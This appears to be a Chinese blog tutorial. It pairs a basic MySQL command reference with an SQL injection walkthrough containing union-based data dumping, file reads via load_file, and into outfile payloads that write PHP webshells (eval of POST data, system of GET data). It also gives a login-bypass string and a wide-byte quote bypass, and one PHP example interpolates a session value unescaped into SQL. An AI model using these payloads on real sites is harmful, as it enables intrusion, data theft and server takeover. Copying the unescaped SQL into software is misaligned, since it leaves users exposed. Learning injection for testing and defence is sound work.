当前位置:   article > 正文

MySQL命令\注入

MySQL命令\注入

MySQL使用B+树来存储数据,有两种存储引擎MyISAMInnoDB。INNODB:利用非叶子节点来存储索引,叶子节点来存储数据;MYISAM:利用非叶子节点来存储索引,叶子结点来存储数据的指针,数据是单独存储的。

mysql的基本操作

一.登录MySQL

1.登录指定IP的root用户

mysql -h 199.199.10.1 -u root -p
Enter password:******

2.默认登录本机(推荐这种方法登录)

mysql -u root -p
Enter password:******

3.直接进入到指定数据库的登录方法

mysql -u root -p databaseName
Enter password:******

二.基本命令

2.1 数据库的基本操作

1. 查看所有的数据库:

show database;
  • 1

2. 创建数据库:

create database databaseName;
  • 1

3. 进入到指定的数据库:

use databaseName;
  • 1

4. 查看当前所在的库:

select database();
  • 1

5. 查看建库语句:

show create datebase databaseName;
  • 1

6. 删除指定数据库:

drop database databaseName;
  • 1

7. 退出Mysql数据库:

1. exit
2.\q
3.quit
  • 1
  • 2
  • 3

2.2 数据表的基本操作

1. 查看库中的所有数据表:

show tables;
  • 1

2. 创建数据表:

注意:创建表时,字符类型必须要设定长度,最后一个字段后面不能写逗号。

create table tableName(
    字段1 字段数据类型,
    字段2 字段数据类型,
    字段3 字段数据类型
);
  • 1
  • 2
  • 3
  • 4
  • 5

3. 查看表的结构:

desc tableName;
  • 1

4. 查看建表语句:

show create table tableName;
  • 1

5. 查看表中的数据:

select * from tableName;

//查看另一个库中表的数据表
select * from databaseName.tableName;
  • 1
  • 2
  • 3
  • 4

6. 删除数据表:

drop table tableName1,tableName2,tableName...;
  • 1

7. 添加字段:

#1.不指定添加字段的位置:【默认在最后】

alter table tableName add 字段名 字段数据类型;

#2.指定添加在某个字段的后面【after】

alter table tableName add 字段名 字段数据类型 after 前一个字段;

#3.添加在表的最前面【first】

alter table tableName add 字段名 字段数据类型 first;

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12

8. 修改字段:

#1. 修改原来字段的数据类型:

alter table tableName modify 字段名  字段数据类型;

#2. 修改原来的字段名,包括数据类型:

alter table tableName change 原字段名 新字段名 字段数据类型;

#3. 给已有的字段添加主键

alter table tableName add primary key (字段名);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

9. 删除字段:

alter table tableName drop 字段名;
  • 1

10. 数据表从命名:

alter table 原表名 rename 新表名;
  • 1

2.3 数据的基本操作

1. 在表中添加数据:

#1.对所有的字段添加数据:

insert into tableName values (字段1数据,字段2数据,字段...数据);

#2.对指定的字段添加数据:

insert into tableName (字段1,字段3,字段5) values (字段1数据,字段3数据,字段5数据);
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

2. 删除表中数据:

#1.删除表中所有数据(尽量不用):

delete from tableName;

#2.按条件删除指定数据:

delete from tableName where 条件;

#3.如果字段是自增属性,用以上两种方法删除数据后插入数据时仍然按删除之前自增

truncate table tableName;
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11

3. 修改表中数据:

update tableName set 字段1=新值,字段2=新值 where 条件; 
  • 1

2.4 其它基本命令

\h  ---快捷帮助
\c  ---取消命令输入
\s  ---查看当前数据库的操作
\q  ---退出MySQL命令行
\G  ---以列的形式展示结果

tee 路径\文件夹 ---导出命令到本地文件
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

2.5 mysql常用函数

  • 系统用户名:system_user()
  • 用户名:user()
  • 当前用户名:current_user()
  • 连接数据库的用户名:session_user()
  • 数据库名:database()
  • MySQL版本号:version()
  • 读取服务器本地文件:load_file(根路径)
  • 向服务器写入文件:into outfile()
  • 读取数据库路径:@@datadir
  • MySQL安装路径:@@basedir
  • 操作系统:@@version_compile_os

三.PHP操作MySQL

1.连接数据库

$link = mysqli_connect('localhost', 'root', 'password');

2.设置数据库的编码格式

mysqli_set_charset($link, 'utf8');

3.选择连接的数据库

mysqli_select_db($link, 'mxf');

4.定义SQL语句

$sqlStr = "delete from users where username='{$_SESSION['username']}';";

5.发送并执行SQL语句

$res = mysqli_query($link, $sql);

6.关闭连接

mysqli_close($link);

mysql注入

一.判断是否存在注入点

1.SQL语句是否可以插入

  • 单引号截断:'
  • 双引号:"
  • 单引号或双引号加右括号:)

用此方法可以验证是否开了waf狗

2.是否可以进行union联查

语句结尾用and连接1=1(true)和1=2(false)进行调试;如果and 1=1时服务器反馈为真,and 1=2时服务器反馈为false,证明可以进行union联查

3.是否可以忽略应用程序的后续语句

  • 在URL中使用–+来注释后面的内容,这里的+好在URL中相当于空格
  • 在输入框中输入#来注释代码中后面的内容,不能在URL中使用,因为在URL中#代表锚点
  • 万能密码:admin’ or ‘1’='1

4.如果存在waf

  1. 在URL后面输入 / 报错
  2. 输在URL后面输入 -0 正常

二.爆破

1.获取数据库中的信息

①.获取一次可以显示的字段长度:

使用 order by 1,2,3… 来确定服务器返回的字段数,挨个去试,直到报错,报错前一个就是可以显示的字段数

②.获取数据库信息
  1. 查询当前所在的库:

select database()

  1. 查询数据库中的所有库:

select schema from information_schema

③.获取数据表

获取指定库下的表:select 1,1,group_concat(table_name) from information_schema.tables where table_schema='wuya'--+

④.获取表和字段

获取指定表中的字段: union select 1,1,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='wuya'--+

⑤.获取表中数据

获取指定表中的数据: select group_concat(concat_ws(',',id,username,password) SEPARATOR '|') from users group by '1'

2.mysql读写函数的使用

①.load_file()函数
  • 该函数是用来读取源文件的函数
  • 只能读取绝对路径的网页文件
  • 在使用load_file()时应先找到网站绝对路径
  • 将绝对路径转换为16进制数时,不需要使用引号
  • 读取网站文件内容:
    and 1=2 union select 1,load_file('C:\\inetpub\\wwwroot\\mysql-sql\\inc\\set_sql.php'),3,4
②.into outfile
  • 可以写入一句话木马,然后使用蚁剑或者菜刀直接连接
    and 1=2 union select 1,"<?php @eval ($_POST['psword']);?>",3,4 into outfile 'D:/www/mysql-sql/shell.php'
  • system函数可以执行os命令,通过向指定文件中传入参数
    and 1=2 union select 1,"<?php @system($_GET['par']);?>",3,4 into outfile 'D:/www/mysql-sql/system.php'
    使用URL访问写入的指定文件,并传入参数:

www.xxxx.com/system.php?par=ipconfig

三.绕过(待补充)

1.关于魔术引号注入

  • 使用宽字节注入绕过魔术引号:%df%27
声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/644718
推荐阅读
相关标签
  

闽ICP备14008679号